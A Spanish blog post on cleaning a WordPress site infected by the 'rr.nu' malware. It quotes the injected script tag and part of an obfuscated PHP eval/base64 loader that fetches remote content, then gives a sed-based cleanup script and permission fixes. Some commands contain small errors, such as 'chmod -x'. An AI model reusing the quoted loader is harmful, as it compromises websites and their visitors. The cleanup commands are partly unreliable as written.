Entrada

Como eliminar el hack o malware de rr.nu de Wordpress

Desde hace un tiempo que se me había infectado todo el blog, basado en Wordpress, con una especie de malware el cual escribía un código javascript antes del cierre de body

1
<script type="text/javascript" src="xxxxx.rr.nu"></script>

Esto lo que hacía era lanzar una redirección a una página potencialmente peligrosa con lo que los navegadores de Google Chrome o Firefox (no he llegado a probar con IE) muestran una advertencia y ningún visitante podían ver inicialmente mis artículos.

Pero la base de que se escriba esta llamada javascript en el código HTML, viene porque todos los archivos, o al menos gran parte, habían sido “infectados” con un php injection el cual escribe al inicio de todos los archivos php un código similar al siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
 ZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGl
 vbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD
 0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJ
 GNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0
 dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWx
 zZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbn
 RlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7a
 WYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRy
 eWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR
 1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLC
 R1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b
3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwg...

Al principio pensé que serían unos cuantos, pero poco después descubrí que fueron practicamente todos los archivos dentro de la estructura de wordpress, todos los archivos de administración, todos los archivos de themes, plugins, etc… todo tenía ese código php con el eval y el base64_decode.

SOLUCIÓN

  1. Lo primero que he hecho, sin duda, es cambiar todas la contraseñas, tanto la del administrador de Wordpress como la del FTP del servidor y accesso de base de datos. No he llegado a hacer un decode del contenido que había en los archivos "infectados", y no en todos era el mismo contenido codificado, por lo que a grandes males, grandes remedios. Cambiar todas las contraseñas, por si acaso.
  2. Haz una copia de seguridad de lo que hay, por si el script de limpieza borra algo más de la cuenta.
  3. Descarga el script de limpieza.
  4. [download id="27" format="5" autop="false"]
  5. En caso de que no te funcione la descarga o no lo quieras descargar, puedes copiar el código del shell script y pegarlo en un nuevo archivo vacío. Después guárdalo como remove-rr-nu-virus.sh o como quieras llamarlo.
  6. ``` #!/bin/bash for file in $(grep -Hlr "aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX" .); do sed -e "s/));?>/));?>n/g" $file | sed -e "/aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZX/d" > $file.temp; mv $file.temp $file; echo Fixed infected file $file; done; ```
  7. Éste shell script colócalo en la misma ruta de la carpeta principal de Wordpress, y ejecútalo con: ./remove-rr-nu-virus.sh o como lo hayas llamado.
  8. Si te da problemas de permisos, ejecuta lo siguiente: chmod -x remove-rr-nu-virus.sh

Espero que os sea de ayuda, el artículo original es el siguiente: http://www.spkaa.com/3-step-fix-for-your-rr-nu-wordpress-virus-outbreak. Yo con esto he conseguido arreglar por completo el hackeo que me habían hecho y volver tener el blog funcionando al 100% sin ningún archivo “infectado” y sin que ningún lector sea redirigido a webs peligrosas, malditos hackeos!!

Otras mejoras para securizar tu blog es cambiar los permisos de los archivos a como deben estar de manera correcta, para evitar que usuarios no deseados puedan editar los archivos y cambiar su contenido.

Cambiar permisos de los directores en Wordpress

1
find /path/a/tu/wordpress/ -type d -exec chmod 755 {} ;

Cambiar permisos de los ficheros en Wordpress

1
find /path/a/tu/wordpress/ -type f -exec chmod 644 {} ;

Otro artículo que habla sobre este hackeo http://danhilltech.tumblr.com/post/18085864093/if-you-get-eval-base64-hacked-on-wordpress-dreamhost

Esta entrada está licenciada bajo CC BY 4.0 por el autor.